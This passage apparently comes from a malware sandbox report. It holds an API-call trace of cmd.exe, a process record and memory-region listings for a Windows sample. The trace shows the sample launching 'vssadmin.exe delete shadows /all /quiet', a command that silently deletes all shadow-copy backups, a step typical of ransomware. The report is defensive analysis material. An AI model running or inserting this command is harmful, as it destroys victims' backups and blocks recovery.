_wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0138.217] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0138.217] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0138.217] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0138.217] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0138.217] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0138.217] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0138.217] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0138.217] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0138.217] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0138.217] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0138.217] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0138.217] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0138.217] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0138.217] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0138.217] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0138.217] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0138.217] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0138.217] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0138.217] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0138.217] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0138.217] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0138.217] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0138.217] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0138.217] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0138.217] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0138.217] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0138.217] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0138.217] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0138.217] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0138.217] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0138.217] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0138.217] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0138.217] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0138.217] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0138.217] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0138.217] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0138.217] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0138.217] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0138.217] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0138.217] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0138.217] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0138.217] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0138.217] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0138.217] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0138.217] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0138.217] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0138.218] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0138.218] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0138.218] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0138.218] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0138.218] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0138.218] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0138.218] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0138.218] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0138.218] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0138.218] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0138.218] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0138.218] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0138.218] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0138.218] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0138.218] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0138.218] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0138.218] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0138.218] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0138.218] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0138.218] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0138.218] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0138.218] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0138.218] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0138.218] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0138.218] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0138.218] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0138.218] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0138.219] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0138.219] SetErrorMode (uMode=0x0) returned 0x0 [0138.219] SetErrorMode (uMode=0x1) returned 0x0 [0138.219] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x491330, lpFilePart=0x30f0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f0a0*="Desktop") returned 0x25 [0138.219] SetErrorMode (uMode=0x0) returned 0x1 [0138.219] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0138.219] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0138.224] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0138.226] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0138.226] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x30ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ee10) returned 0xffffffffffffffff [0138.226] GetLastError () returned 0x2 [0138.226] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x30ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ee10) returned 0xffffffffffffffff [0138.226] GetLastError () returned 0x2 [0138.226] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x30ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ee10) returned 0xffffffffffffffff [0138.226] GetLastError () returned 0x2 [0138.226] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0138.227] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x30ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ee10) returned 0x4ac0c0 [0138.227] FindClose (in: hFindFile=0x4ac0c0 | out: hFindFile=0x4ac0c0) returned 1 [0138.227] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0138.227] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0138.227] GetConsoleTitleW (in: lpConsoleTitle=0x30f360, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.227] InitializeProcThreadAttributeList (in: lpAttributeList=0x30f118, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30f0d8 | out: lpAttributeList=0x30f118, lpSize=0x30f0d8) returned 1 [0138.227] UpdateProcThreadAttribute (in: lpAttributeList=0x30f118, dwFlags=0x0, Attribute=0x60001, lpValue=0x30f0c8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30f118, lpPreviousValue=0x0) returned 1 [0138.227] GetStartupInfoW (in: lpStartupInfo=0x30f230 | out: lpStartupInfo=0x30f230*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x260, hStdError=0x0)) [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0138.227] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0138.228] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0138.228] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0138.229] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x30f150*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30f100 | out: lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x30f100*(hProcess=0x54, hThread=0x50, dwProcessId=0xb44, dwThreadId=0xb48)) returned 1 [0138.377] CloseHandle (hObject=0x50) returned 1 [0138.377] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0138.377] GetEnvironmentStringsW () returned 0x4aac30* [0138.377] FreeEnvironmentStringsW (penv=0x4aac30) returned 1 [0138.377] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0191.670] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x30f048 | out: lpExitCode=0x30f048*=0x0) returned 1 [0191.670] CloseHandle (hObject=0x54) returned 1 [0191.670] _vsnwprintf (in: _Buffer=0x30f2b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x30f058 | out: _Buffer="00000000") returned 8 [0191.670] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0191.670] GetEnvironmentStringsW () returned 0x4ac0c0* [0191.670] FreeEnvironmentStringsW (penv=0x4ac0c0) returned 1 [0191.670] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0191.671] GetEnvironmentStringsW () returned 0x4ac0c0* [0191.671] FreeEnvironmentStringsW (penv=0x4ac0c0) returned 1 [0191.671] DeleteProcThreadAttributeList (in: lpAttributeList=0x30f118 | out: lpAttributeList=0x30f118) [0191.671] _get_osfhandle (_FileHandle=1) returned 0x260 [0191.671] SetConsoleMode (hConsoleHandle=0x260, dwMode=0x0) returned 0 [0191.671] _get_osfhandle (_FileHandle=1) returned 0x260 [0191.671] GetConsoleMode (in: hConsoleHandle=0x260, lpMode=0x49e8e194 | out: lpMode=0x49e8e194) returned 0 [0191.671] _get_osfhandle (_FileHandle=0) returned 0xfffffffffffffffe [0191.671] GetConsoleMode (in: hConsoleHandle=0xfffffffffffffffe, lpMode=0x49e8e198 | out: lpMode=0x49e8e198) returned 1 [0191.671] _get_osfhandle (_FileHandle=0) returned 0xfffffffffffffffe [0191.671] SetConsoleMode (hConsoleHandle=0xfffffffffffffffe, dwMode=0x7) returned 0 [0191.672] SetConsoleInputExeNameW () returned 0x1 [0191.672] GetConsoleOutputCP () returned 0x1b5 [0191.672] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e9bfe0 | out: lpCPInfo=0x49e9bfe0) returned 1 [0191.672] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0191.672] exit (_Code=0) Process: id = "3" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x47c2b000" os_pid = "0xb44" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb1c" cmd_line = "vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 281 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 282 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 283 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 284 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 285 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 286 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 287 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 288 start_va = 0xfff20000 end_va = 0xfff4cfff entry_point = 0xfff20000 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\System32\\vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe") Region: id = 289 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 290 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 291 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 292 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 293 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 294 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 295 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 296 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 297 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 298 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 299 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 300 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 301 start_va = 0xe0000 end_va = 0xecfff entry_point = 0xe0000 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\System32\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssadmin.exe.mui") Region: id = 302 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 303 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 304 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 305 start_va = 0x450000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 306 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 307 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 308 start_va = 0x780000 end_va = 0x1b7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 309 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 310 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 311 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 312 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 313 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 314 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 315 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 316 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 317 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 318 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 319 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 320 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 321 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 322 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 323 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 324 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 325 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 334 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 335 start_va = 0x1cf0000 end_va = 0x1d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 336 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 337 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 338 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 340 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 341 start_va = 0x1e20000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 342 start_va = 0x1ea0000 end_va = 0x216efff entry_point = 0x1ea0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 343 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 344 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 345 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 346 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 362 start_va = 0x1bd0000 end_va = 0x1c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 363 start_va = 0x2270000 end_va = 0x22effff entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 364 start_va = 0x7fef8e60000 end_va = 0x7fef8e73fff entry_point = 0x7fef8e60000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 365 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 366 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 13 os_tid = 0xb48 Thread: id = 14 os_tid = 0xb4c Thread: id = 15 os_tid = 0xb50 Thread: id = 16 os_tid = 0xb54 Thread: id = 17 os_tid = 0xb58 Process: id = "4" image_name = 